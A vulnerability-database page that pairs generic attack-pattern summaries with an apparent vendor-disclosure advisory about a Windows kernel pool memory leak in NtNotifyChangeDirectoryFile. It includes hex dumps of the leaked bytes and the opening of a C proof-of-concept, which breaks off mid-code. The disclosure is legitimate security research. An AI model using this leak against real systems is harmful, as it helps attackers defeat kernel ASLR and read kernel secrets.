Vulnerable Configurations
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Subverting Environment Variable Values The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
- Footprinting An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
- Exploiting Trust in Client (aka Make the Client Invisible) An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
- Browser Fingerprinting An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
- Session Credential Falsification through Prediction This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

| description | We have discovered that the nt!NtNotifyChangeDirectoryFile system call discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes. On our test Windows 10 32-bit workstation, an example layout of the output buffer is as follows: ``` --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ................ --- cut --- ``` Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data is returned in a list of FILE_NOTIFY_INFORMATION structures [1]. If we map the above shadow bytes to the structure definition, it turns out that the uninitialized bytes correspond to the alignment hole between the end of the FileName string and the beginning of the adjacent FILE_NOTIFY_INFORMATION structure, if that string is of an odd length (and therefore not 4-byte aligned). The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region: ``` --- cut --- 00000000: 10 00 00 00 04 00 00 00 02 00 00 00 62 00[91 91]............b... 00000010: 00 00 00 00 05 00 00 00 02 00 00 00 63 00 ?? ?? ............c... --- cut --- 00000000: 10 00 00 00 04 00 00 00 02 00 00 00 62 00[3d 3d]............b.== 00000010: 00 00 00 00 05 00 00 00 02 00 00 00 63 00 ?? ?? ............c... --- cut --- ``` Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. #### References: [1] FILE_NOTIFY_INFORMATION structure, https://msdn.microsoft.com/pl-pl/library/windows/desktop/aa364391(v=vs.85).aspx ReadDirectoryChanges.cpp ``` #include <Windows.h> #include <cstdio> VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("??
